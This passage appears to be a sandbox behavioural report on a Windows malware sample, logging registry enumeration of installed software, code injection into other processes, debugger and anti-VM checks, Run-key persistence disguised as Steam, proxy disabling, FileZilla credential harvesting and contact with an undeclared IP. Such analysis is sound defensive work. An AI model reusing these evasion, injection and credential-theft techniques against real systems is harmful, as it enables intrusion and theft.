RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: AddressBook base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: Adobe AIR base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: Connection Manager base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: DirectDrawEx base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: EditPlus base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: Fontcore base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: Google Chrome base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: IE40 base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: IE4Data base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: IE5BAKEX base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: IEData base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: MobileOptionPack base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: Mozilla Thunderbird 78.4.0 (x86 ko) base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: Office15.PROPLUSR base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: SchedulingAgent base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: WIC base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {00203668-8170-44A0-BE44-B632FA4D780F} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {26A24AE4-039D-4CA4-87B4-2F32180131F0} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {4A03706F-666A-4037-7777-5F2748764D10} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-0015-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-0016-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-0018-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-0019-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-001A-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-001B-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-001F-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-001F-040C-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-001F-0C0A-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-002C-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-0044-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-006E-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-0090-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-00A1-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-00BA-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-00E1-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-00E2-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-0115-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-0117-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {90150000-012B-0409-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {91150000-0011-0000-0000-0000000FF1CE} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {AC76BA86-7AD7-FFFF-7B44-AC0F074E4100} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}	1
RegOpenKeyExW June 29, 2023, 5:02 p.m.	regkey_r: {BB8B979E-E336-47E7-96BC-1031C1B94561} base_handle: 0x00000360 key_handle: 0x00000204 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}	1

One or more of the buffers contains an embedded PE file (3 events)

buffer	Buffer with sha1: 8a7a16e1bb29ef6a29ec7e71bdc776d6bdfda170
buffer	Buffer with sha1: b2ad5f58676456829f8d8530a7e9cf0dd022f1ca
buffer	Buffer with sha1: 902542c855ddb7afdddbc42ce5e4cde04e9e3e5f

Communicates with host for which no DNS query was performed (1 event)

host

168.119.239.218

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2456 region_size: 598016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000240	1	0	0
NtAllocateVirtualMemory June 29, 2023, 5:02 p.m.	process_identifier: 2856 region_size: 155648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000022c	1	0	0

Checks for the presence of known windows from debuggers and forensic tools (12 events)

Time & API	Arguments	Status	Return	Repeated
FindWindowA June 29, 2023, 5:02 p.m.	class_name: OLLYDBG window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: GBDYLLO window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: pediy06 window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: RegmonClass window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: RegmonClass window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: Registry Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: 18467-41 window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: FilemonClass window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: FilemonClass window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: #0 window_name: File Monitor - Sysinternals: www.sysinternals.com		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA June 29, 2023, 5:02 p.m.	class_name: #0 window_name: Process Monitor - Sysinternals: www.sysinternals.com		0	0

Checks the version of Bios, possibly for anti-virtualization (2 events)

registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Steam

reg_value

C:\Users\test22\AppData\Roaming\NVIDIA\dllhost.exe

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA June 29, 2023, 5:02 p.m.	key_handle: 0x0000000000000414 regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Potential code injection by writing to the memory of another process (5 events)

Time & API	Arguments	Status	Return
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $],~DMMMR5 MR5¯MR5M¦1 M¦1M¦1JMR5MM»MÀ0MÀ0MRichMPELidà#@¼àCP@ @[PÐüL8P @Pä.texto>@ `.rdata(PD@@.dataVpBZ@À.relocüLÐN@B base_address: 0x00400000 process_identifier: 2456 process_handle: 0x00000240	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2456 process_handle: 0x00000240	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELY1r¾à0bN @ `@K @ H.textT` b `.rsrc d@@.reloc@ú@B base_address: 0x00400000 process_identifier: 2856 process_handle: 0x0000022c	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: P0 base_address: 0x00424000 process_identifier: 2856 process_handle: 0x0000022c	1	1
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2856 process_handle: 0x0000022c	1	1

Code injection by writing an executable or DLL to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $],~DMMMR5 MR5¯MR5M¦1 M¦1M¦1JMR5MM»MÀ0MÀ0MRichMPELidà#@¼àCP@ @[PÐüL8P @Pä.texto>@ `.rdata(PD@@.dataVpBZ@À.relocüLÐN@B base_address: 0x00400000 process_identifier: 2456 process_handle: 0x00000240	1	1	0
WriteProcessMemory June 29, 2023, 5:02 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELY1r¾à0bN @ `@K @ H.textT` b `.rsrc d@@.reloc@ú@B base_address: 0x00400000 process_identifier: 2856 process_handle: 0x0000022c	1	1	0

Collects information about installed applications (38 events)

Time & API	Arguments	Status
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Excel MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft PowerPoint MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Publisher MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Outlook MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Word MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - English regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Outils de vérification linguistique 2013 de Microsoft Office - Français regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW June 29, 2023, 5:02 p.m.	key_handle: 0x00000204 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - Español regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}\DisplayName	1
